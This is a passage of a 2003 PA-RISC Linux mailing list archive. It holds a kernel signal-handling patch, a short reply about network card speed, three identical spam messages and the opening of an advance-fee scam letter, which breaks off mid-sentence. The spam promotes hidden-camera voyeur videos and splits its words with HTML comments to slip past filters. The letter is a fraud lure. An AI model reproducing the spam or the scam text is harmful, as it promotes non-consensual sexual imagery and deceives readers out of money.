To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 26 22:03:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id D10C7484E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Oct 2003 22:03:32 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 9DCF1CD33B; Sun, 26 Oct 2003 21:06:49 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20031027043705.GJ26587@systemhalted>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19943

> What do you think of:

here's a third try using Carlos' idea... seems cleaner (smaller) and
doesn't muck with the stack pointer.

thanks carlos! :-)
randolph

Index: arch/parisc/kernel/signal.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/signal.c,v
retrieving revision 1.11
diff -u -p -r1.11 signal.c
--- arch/parisc/kernel/signal.c	24 Sep 2003 17:54:31 -0000	1.11
+++ arch/parisc/kernel/signal.c	27 Oct 2003 05:01:52 -0000
@@ -530,10 +531,42 @@ do_signal(sigset_t *oldset, struct pt_re
 	/* Did we come from a system call? */
 	if (in_syscall) {
 		/* Restart the system call - no handlers present */
-		if (regs->gr[28] == -ERESTART_RESTARTBLOCK ||
-		    regs->gr[28] == -ERESTARTNOHAND ||
-		    regs->gr[28] == -ERESTARTSYS ||
-		    regs->gr[28] == -ERESTARTNOINTR) {
+		if (regs->gr[28] == -ERESTART_RESTARTBLOCK) {
+			unsigned int *usp = (unsigned int *)regs->gr[30];
+
+			/* Setup a trampoline to restart the syscall
+			 * with __NR_restart_syscall
+			 *
+			 *  0: <return address (orig r31)>
+			 *  8: <2nd half for 64-bit>
+			 * 12: ldw 0(%sp), %r31
+			 * 16: be 0x100(%sr2, %r0)
+			 * 20: ldi __NR_restart_syscall, %r20
+			 */
+#ifndef __LP64__
+			put_user(regs->gr[31], &usp[0]);
+			put_user(0x0fc0109f, &usp[2]);
+#else
+			put_user(regs->gr[31] >> 32, &usp[0]);
+			put_user(regs->gr[31] & 0xffffffff, &usp[1]);
+			put_user(0x0fc010df, &usp[2]);
+#endif
+			put_user(0xe0008200, &usp[3]);
+			put_user(0x34140000, &usp[4]);
+
+			/* Stack is 64-byte aligned, and we only 
+			 * need to flush 1 cache line */
+			asm("fdc 0(%%sr3, %0)\n"
+			    "fic 0(%%sr3, %0)\n"
+			    "sync\n"
+			    : : "r"(regs->gr[30]));
+
+			regs->gr[31] = regs->gr[30] + 8;
+			/* Preserve original r28. */
+			regs->gr[28] = regs->orig_r28;
+		} else if (regs->gr[28] == -ERESTARTNOHAND ||
+		           regs->gr[28] == -ERESTARTSYS ||
+		           regs->gr[28] == -ERESTARTNOINTR) {
 			/* Hooray for delayed branching.  We don't
                            have to restore %r20 (the system call
                            number) because it gets loaded in the delay


From - Thu Nov 08 21:29:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Sampson" <gq9tjba@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ascm sensiboe
Date: Mon, 27 Oct 03 05:41:24 GMT
Lines: 71
Approved: news@gmane.org
Message-ID: <zth6f-amk0c28$f-9ax--c4$--k-08@3k02.4.j9.k3e>
Reply-To: "James Sampson" <gq9tjba@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="9_.92..E_FBD_1C9E6B4A5"
X-Trace: ger.gmane.org 1416622912 807 80.91.229.3 (22 Nov 2014 02:21:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:52 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 27 02:39:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E133484E
	for <parisc-linux@parisc-linux.org>; Mon, 27 Oct 2003 02:39:29 -0700 (MST)
Original-Received: from 12-207-18-229.client.attbi.com (12-207-18-229.client.attbi.com [12.207.18.229])
	by cuprel1.hp.com (Postfix) with SMTP id A5AB5E72
	for <parisc-linux@parisc-linux.org>; Mon, 27 Oct 2003 01:39:22 -0800 (PST)
Original-Received: from [208.246.57.41] by 12-207-18-229.client.attbi.com with ESMTP id 109EEDFAAD8; Mon, 27 Oct 2003 05:41:24 +0100
X-Mailer: AOL 7.0 for Windows US sub 118
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19944

--9_.92..E_FBD_1C9E6B4A5
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html><body text=3D"#000000" link=3D"#000000" vlink=3D"#000000" alink=3D"#=
000000">
<div align=3D"center"><!--boule--><strong><font size=3D"5" face=3D"=
Arial, Helvetica, sans-serif">Th<!--ukraine-->ey
 hav<!--chuck-->e no<!--slater--> id<!--sacral-->ea y<!=
--storehouse-->ou are wa<!--anarchy-->tch<!--collide-->ing.</f=
ont><!--darkle--></strong> 
<table width=3D"541" height=3D"97" border=3D"0" cellpadding=3D"0" cellspac=
ing=3D"0" bgcolor=3D"#9F0000" class=3D"border"><!--thieving-->
<tr><!--habitation--><td height=3D"97" align=3D"center" valign=3D"middle=
" class=3D"txt" style=3D"padding-left:15; padding-right:15"><!--=
perspire--><font color=3D"#FFFFFF" face=3D"Verdana, Arial, Helvetica, =
sans-serif" size=3D"2"><br>Be<!--meddle-->ach 
 Vo<!--superb-->yeuri<!--absorption-->sm, <!--inconceivable-->U<!--=
bowdoin-->pski<!--saturate-->rt C<!--molehill-->a<!--=
guarantor-->ms, C<!--amide-->h<!--frangipani-->anging Ro<!--=
copernicus-->oms, T<!--ethos-->oi<!--powdery-->let Ca<!--=
branch-->ms, <!--bodied-->Hid<!--intense-->en Vi<!--=
cosponsor-->deo<!--raceway-->s</font><p><font color=3D"#FFFFFF" si=
ze=3D"2" face=3D"Verdana, Arial, Helvetica, sans-serif">T<!--=
reptilian-->he
 ulti<!--ascertain-->mate v<!--hindu-->iola<!--pyrite-->ti=
on of pr<!--bikini-->iva<!--musty-->cy! T<!--fledgling-->h=
ous<!--inferring-->ands of un<!--downtrodden-->suspec<!--=
bogging-->ting p<!--sedge-->ic<!--airlift-->s, v<!--=
knightsbridge-->oyeu<!--binge-->ris<!--transverse-->tic v<!--=
inspiration-->ide<!--defrock-->os, 10<!--theta-->00'<!--=
boxcar-->s of h<!--stupid-->id<!--couldn't-->den ca<!--=
inference-->ms a<!--bartend-->nd mo<!--bespoke-->re.<!--=
fargo--></font> 
</p><!--cassandra--><p><font face=3D"verdana" color=3D"#FFFFFF"><b><a h=
ref=3D"http://gadolinium@www.surfbling.com/ep/index.html?petrify" s=
tyle=3D"color: #FFFFFF">S<!--word-->er<!--coset-->ious s<!-=
-elliot-->pyi<!--bereave-->ng is the na<!--prevention-->ture =
of e<!--finesse-->xtr<!--supine-->eme 
 e<!--sisyphus-->xpo<!--barbaric-->sure.</a><!--coronet--><br=
><br></b><!--magnuson--></font></p><!--tilt--></td></tr><!--=
shrug--></table><br>
  <span class=3D"heading"><!--salmon--><font size=3D"2" face=3D"Verd=
ana, Arial, Helvetica, sans-serif"><a href=3D"http://carmela@www.surf=
bling.com/ep/index.html?analogue">E<!--bellboy-->xtr<!--=
cornbread-->eme-expos<!--sinusoid-->ure 
  - S<!--cosh-->py o<!--schoolhouse-->n our gi<!--belt-->=
rls in ou<!--candlewick-->r li<!--jewett-->ve h<!--comprehensible-->=
idde<!--butyl-->n vi<!--breakaway-->deo fee<!--prudential-->ds=
!</a></font><!--catherine--></span><font size=3D"1" face=3D"Verdana, Ar=
ial, Helvetica, sans-serif"><a href=3D"http://gag@www.surfbling.c=
om/ep/index.html?smith"><!--cosy--><br>
  <span class=3D"txt2">A<!--presupposition-->mate<!--pareto-->ur gi<!-=
-monica-->rls cau<!--arteriole-->ght n<!--christenson-->ak<!--=
cloven-->ed in th<!--impetuous-->eir ho<!--conant-->mes by =
our s<!--hospice-->ecre<!--cinnabar-->t ca<!--wherefore-->ms. =
<!--sanchez-->Cl<!--teaspoonful-->ic<!--bangladesh-->k he<!--=
errantry-->re to w<!--staphylococcus-->at<!--troublesome-->ch them n<!-=
-cultivate-->ow!</span><!--sycophantic--></a></font><!--bemoan--=
></div>
</body><!--ahem--></html>
hvvf  t
ujcxvbx bp
zrwtedtmp  fgx gaiyx kk ubvhve
w swhmzvyw fkak
ruaptmmtwexh val z
kpysewu n

--9_.92..E_FBD_1C9E6B4A5--



From - Thu Nov 08 21:29:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kay Valle" <jxar85dy@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] yobbin ranjle
Date: Mon, 27 Oct 03 10:47:33 GMT
Lines: 70
Approved: news@gmane.org
Message-ID: <ir1v5a7e$r7x3n422$1@85h6.hci>
Reply-To: "Kay Valle" <jxar85dy@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary=".D.75F7_.5DC6.3F8C"
X-Trace: ger.gmane.org 1416622913 810 80.91.229.3 (22 Nov 2014 02:21:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:53 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 27 06:51:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pcp05015696pcs.plyntv01.mi.comcast.net (pcp05015696pcs.plyntv01.mi.comcast.net [68.43.251.12])
	by dsl2.external.hp.com (Postfix) with SMTP id E2346484E
	for <parisc-linux@parisc-linux.org>; Mon, 27 Oct 2003 06:51:50 -0700 (MST)
Original-Received: from [114.226.251.76] by pcp05015696pcs.plyntv01.mi.comcast.net id <6400460-16797>; Mon, 27 Oct 2003 10:47:33 +0200
X-Mailer: AOL 7.0 for Windows US sub 118
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19945

--.D.75F7_.5DC6.3F8C
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html><body text=3D"#000000" link=3D"#000000" vlink=3D"#000000" alink=3D"#=
000000">
<div align=3D"center"><!--shred--><strong><font size=3D"5" face=3D"=
Arial, Helvetica, sans-serif">Th<!--ancestry-->ey
 hav<!--parabolic-->e no<!--purse--> id<!--snippy-->ea y<!=
--sheppard-->ou are wa<!--jackdaw-->tch<!--relief-->ing.</f=
ont><!--entranceway--></strong> 
<table width=3D"541" height=3D"97" border=3D"0" cellpadding=3D"0" cellspac=
ing=3D"0" bgcolor=3D"#9F0000" class=3D"border"><!--conferee-->
<tr><!--prong--><td height=3D"97" align=3D"center" valign=3D"middle=
" class=3D"txt" style=3D"padding-left:15; padding-right:15"><!--=
curd--><font color=3D"#FFFFFF" face=3D"Verdana, Arial, Helvetica, =
sans-serif" size=3D"2"><br>Be<!--elysee-->ach 
 Vo<!--pasha-->yeuri<!--limpet-->sm, <!--melville-->U<!--=
gangplank-->pski<!--atalanta-->rt C<!--cushing-->a<!--=
chicago-->ms, C<!--dwight-->h<!--aggressive-->anging Ro<!--=
drone-->oms, T<!--dictate-->oi<!--libreville-->let Ca<!--=
ebony-->ms, <!--mob-->Hid<!--allegoric-->en Vi<!--=
choose-->deo<!--televise-->s</font><p><font color=3D"#FFFFFF" si=
ze=3D"2" face=3D"Verdana, Arial, Helvetica, sans-serif">T<!--=
archer-->he
 ulti<!--pamphlet-->mate v<!--orion-->iola<!--inferno-->ti=
on of pr<!--industrious-->iva<!--ornately-->cy! T<!--suave-->h=
ous<!--assimilable-->ands of un<!--yam-->suspec<!--=
sanhedrin-->ting p<!--myopia-->ic<!--forgive-->s, v<!--=
ancient-->oyeu<!--canister-->ris<!--gore-->tic v<!--=
convulse-->ide<!--hom-->os, 10<!--headland-->00'<!--=
ammeter-->s of h<!--animism-->id<!--responsible-->den ca<!--=
manhattan-->ms a<!--index-->nd mo<!--leak-->re.<!--=
drumlin--></font> 
</p><!--i'd--><p><font face=3D"verdana" color=3D"#FFFFFF"><b><a h=
ref=3D"http://ku@www.surfbling.com/ep/index.html?rusk" s=
tyle=3D"color: #FFFFFF">S<!--doris-->er<!--absorption-->ious s<!-=
-being-->pyi<!--succubus-->ng is the na<!--centenary-->ture =
of e<!--agreeing-->xtr<!--upheaval-->eme 
 e<!--rite-->xpo<!--ash-->sure.</a><!--absentia--><br=
><br></b><!--travelogue--></font></p><!--bulgaria--></td></tr><!--=
chimique--></table><br>
  <span class=3D"heading"><!--coast--><font size=3D"2" face=3D"Verd=
ana, Arial, Helvetica, sans-serif"><a href=3D"http://lieu@www.surf=
bling.com/ep/index.html?federate">E<!--boeotian-->xtr<!--=
out-->eme-expos<!--neater-->ure 
  - S<!--continuant-->py o<!--authoritarian-->n our gi<!--quint-->=
rls in ou<!--bleeker-->r li<!--rotate-->ve h<!--fantasist-->=
idde<!--applique-->n vi<!--aarhus-->deo fee<!--swirly-->ds=
!</a></font><!--carleton--></span><font size=3D"1" face=3D"Verdana, Ar=
ial, Helvetica, sans-serif"><a href=3D"http://bragging@www.surfbling.c=
om/ep/index.html?hercules"><!--inconspicuous--><br>
  <span class=3D"txt2">A<!--tn-->mate<!--quest-->ur gi<!-=
-buoy-->rls cau<!--profligate-->ght n<!--bowie-->ak<!--=
chapel-->ed in th<!--sulfide-->eir ho<!--zagreb-->mes by =
our s<!--pepsico-->ecre<!--holocaust-->t ca<!--calcite-->ms. =
<!--johns-->Cl<!--tv-->ic<!--kingfisher-->k he<!--=
mob-->re to w<!--experiential-->at<!--mcdowell-->ch them n<!-=
-cacao-->ow!</span><!--clothe--></a></font><!--tipoff--=
></div>
</body><!--scrapbook--></html>
ynxbvxhsegj bv  rhijqr

  mvktpiobdqxe dk
 hd du
ws

--.D.75F7_.5DC6.3F8C--



From - Thu Nov 08 21:29:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ora Fischer" <y528dkrja@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] scrunable ylag
Date: Mon, 27 Oct 03 06:16:56 GMT
Lines: 70
Approved: news@gmane.org
Message-ID: <s6w-59r-2$-b2-152me8-g$2-$f0@mia0u.l.d9.pz>
Reply-To: "Ora Fischer" <y528dkrja@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_DB.4B2C_._FA.73E5E"
X-Trace: ger.gmane.org 1416622913 812 80.91.229.3 (22 Nov 2014 02:21:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:53 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 27 11:18:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from office.cpe.gntrv.al.charter.com (unknown [68.184.52.137])
	by dsl2.external.hp.com (Postfix) with SMTP id AE4C94852
	for <parisc-linux@parisc-linux.org>; Mon, 27 Oct 2003 11:18:08 -0700 (MST)
Original-Received: from [119.69.105.51] by office.cpe.gntrv.al.charter.com with ESMTP id 15031466 for <parisc-linux@parisc-linux.org>; Mon, 27 Oct 2003 06:16:56 -0700
X-Mailer: AOL 7.0 for Windows US sub 118
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19946

--_DB.4B2C_._FA.73E5E
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html><body text=3D"#000000" link=3D"#000000" vlink=3D"#000000" alink=3D"#=
000000">
<div align=3D"center"><!--corey--><strong><font size=3D"5" face=3D"=
Arial, Helvetica, sans-serif">Th<!--pigpen-->ey
 hav<!--sourdough-->e no<!--you'll--> id<!--regime-->ea y<!=
--platonic-->ou are wa<!--duplicable-->tch<!--coast-->ing.</f=
ont><!--nightdress--></strong> 
<table width=3D"541" height=3D"97" border=3D"0" cellpadding=3D"0" cellspac=
ing=3D"0" bgcolor=3D"#9F0000" class=3D"border"><!--betty-->
<tr><!--agone--><td height=3D"97" align=3D"center" valign=3D"middle=
" class=3D"txt" style=3D"padding-left:15; padding-right:15"><!--=
boa--><font color=3D"#FFFFFF" face=3D"Verdana, Arial, Helvetica, =
sans-serif" size=3D"2"><br>Be<!--fruehauf-->ach 
 Vo<!--inappeasable-->yeuri<!--bike-->sm, <!--posh-->U<!--=
rico-->pski<!--sonorous-->rt C<!--pen-->a<!--=
confound-->ms, C<!--demote-->h<!--slab-->anging Ro<!--=
puppyish-->oms, T<!--seattle-->oi<!--boric-->let Ca<!--=
allegheny-->ms, <!--slew-->Hid<!--motif-->en Vi<!--=
coroner-->deo<!--coalescent-->s</font><p><font color=3D"#FFFFFF" si=
ze=3D"2" face=3D"Verdana, Arial, Helvetica, sans-serif">T<!--=
angelo-->he
 ulti<!--clemson-->mate v<!--stevenson-->iola<!--drown-->ti=
on of pr<!--transition-->iva<!--catfish-->cy! T<!--cytochemistry-->h=
ous<!--lyons-->ands of un<!--shulman-->suspec<!--=
hitachi-->ting p<!--greene-->ic<!--melanoma-->s, v<!--=
argument-->oyeu<!--murderous-->ris<!--rear-->tic v<!--=
snyder-->ide<!--sooth-->os, 10<!--novitiate-->00'<!--=
floyd-->s of h<!--cathedral-->id<!--trance-->den ca<!--=
maiden-->ms a<!--righteous-->nd mo<!--sterling-->re.<!--=
axes--></font> 
</p><!--mandrel--><p><font face=3D"verdana" color=3D"#FFFFFF"><b><a h=
ref=3D"http://tuberculin@www.surfbling.com/ep/index.html?dogwood" s=
tyle=3D"color: #FFFFFF">S<!--braille-->er<!--arsenic-->ious s<!-=
-sculpt-->pyi<!--maltreat-->ng is the na<!--tecum-->ture =
of e<!--zip-->xtr<!--charitable-->eme 
 e<!--aileen-->xpo<!--ma-->sure.</a><!--boucher--><br=
><br></b><!--scrim--></font></p><!--deferred--></td></tr><!--=
tweeze--></table><br>
  <span class=3D"heading"><!--basic--><font size=3D"2" face=3D"Verd=
ana, Arial, Helvetica, sans-serif"><a href=3D"http://hitherto@www.surf=
bling.com/ep/index.html?issue">E<!--contemporary-->xtr<!--=
inoperative-->eme-expos<!--equivocate-->ure 
  - S<!--conclude-->py o<!--indescribable-->n our gi<!--cometh-->=
rls in ou<!--plymouth-->r li<!--echidna-->ve h<!--laudanum-->=
idde<!--indonesia-->n vi<!--divisor-->deo fee<!--bandstand-->ds=
!</a></font><!--lao--></span><font size=3D"1" face=3D"Verdana, Ar=
ial, Helvetica, sans-serif"><a href=3D"http://yellowstone@www.surfbling.c=
om/ep/index.html?invincible"><!--marble--><br>
  <span class=3D"txt2">A<!--hexafluoride-->mate<!--ashame-->ur gi<!-=
-predominant-->rls cau<!--myron-->ght n<!--quirk-->ak<!--=
sunspot-->ed in th<!--laudatory-->eir ho<!--different-->mes by =
our s<!--carbon-->ecre<!--gator-->t ca<!--bitten-->ms. =
<!--passivate-->Cl<!--constitute-->ic<!--assignation-->k he<!--=
gnash-->re to w<!--definitive-->at<!--rampage-->ch them n<!-=
-compendia-->ow!</span><!--palindrome--></a></font><!--cultivate--=
></div>
</body><!--backplate--></html>
izgmhofkwl 
 k srk
r zv 
i oa ckck  dclaj podkc so
phxlmpe  onq bvuc 

--_DB.4B2C_._FA.73E5E--



From - Thu Nov 08 21:29:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Mon, 27 Oct 2003 12:39:11 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20031027193911.GA16012@colo.lackof.org>
References: <3F9BFB00.5090008@tiscali.be> <20031026172531.GA32146@colo.lackof.org> <3F9C3154.4060105@tiscali.be> <3F9C3854.80001@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622913 814 80.91.229.3 (22 Nov 2014 02:21:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:53 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 27 12:39:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 009A1484E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Oct 2003 12:39:12 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 34CE0298045; Mon, 27 Oct 2003 12:39:12 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 15931-07; Mon, 27 Oct 2003 12:39:11 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8D52E298044; Mon, 27 Oct 2003 12:39:11 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3F9C3854.80001@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19947

On Sun, Oct 26, 2003 at 09:10:44PM +0000, Joel Soete wrote:
> How may I find and reset the speed setup of a nic (I mean which 10 or 
> 100 Mb, half or full duplex)?

ethtool?

> In a second though I just remember that the pc boot first (i need 
> minicom console to boot c110) then latter the c110. So it could be that 
> the first one is set in 100 half as default (no connection at boot time) 
> and the second 10 half?

shouldn't matter unless auto-negotiation is broken for one driver or
the other. If they are point-to-point, I expect the negotiation
to take place when the link is brought up with the second NIC.

grant


From - Thu Nov 08 21:29:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: juliet ugaga <julietugaga22@netscape.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DEAR  FRIEND
Date: Mon, 27 Oct 2003 21:13:01 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <20031027201258.DE855484E@dsl2.external.hp.com>
Reply-To: julietugaga22@netscape.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="7c85db3d-73ef-46ae-bf71-2bde83ee74a3"
X-Trace: ger.gmane.org 1416622914 819 80.91.229.3 (22 Nov 2014 02:21:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:54 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 27 13:13:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from netscape2484.com (node-c-049f.a2000.nl [62.194.4.159])
	by dsl2.external.hp.com (Postfix) with SMTP id DE855484E
	for <parisc-linux@parisc-linux.org>; Mon, 27 Oct 2003 13:12:58 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19948

This is a multi-part message in MIME format
--7c85db3d-73ef-46ae-bf71-2bde83ee74a3
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Dear friend,
 Compliment of the day, I JULIET UGAGA, The son of late General  KuJI UGAGA =
of the Democratic Republic of Congo my  older son is 25 ,david, I  have a =
little baby "Godwin"
 My father was a General in the Congolese Army. In his position (My father) =
with the office of the presidentcy during the regime of Laurent kabila, he =
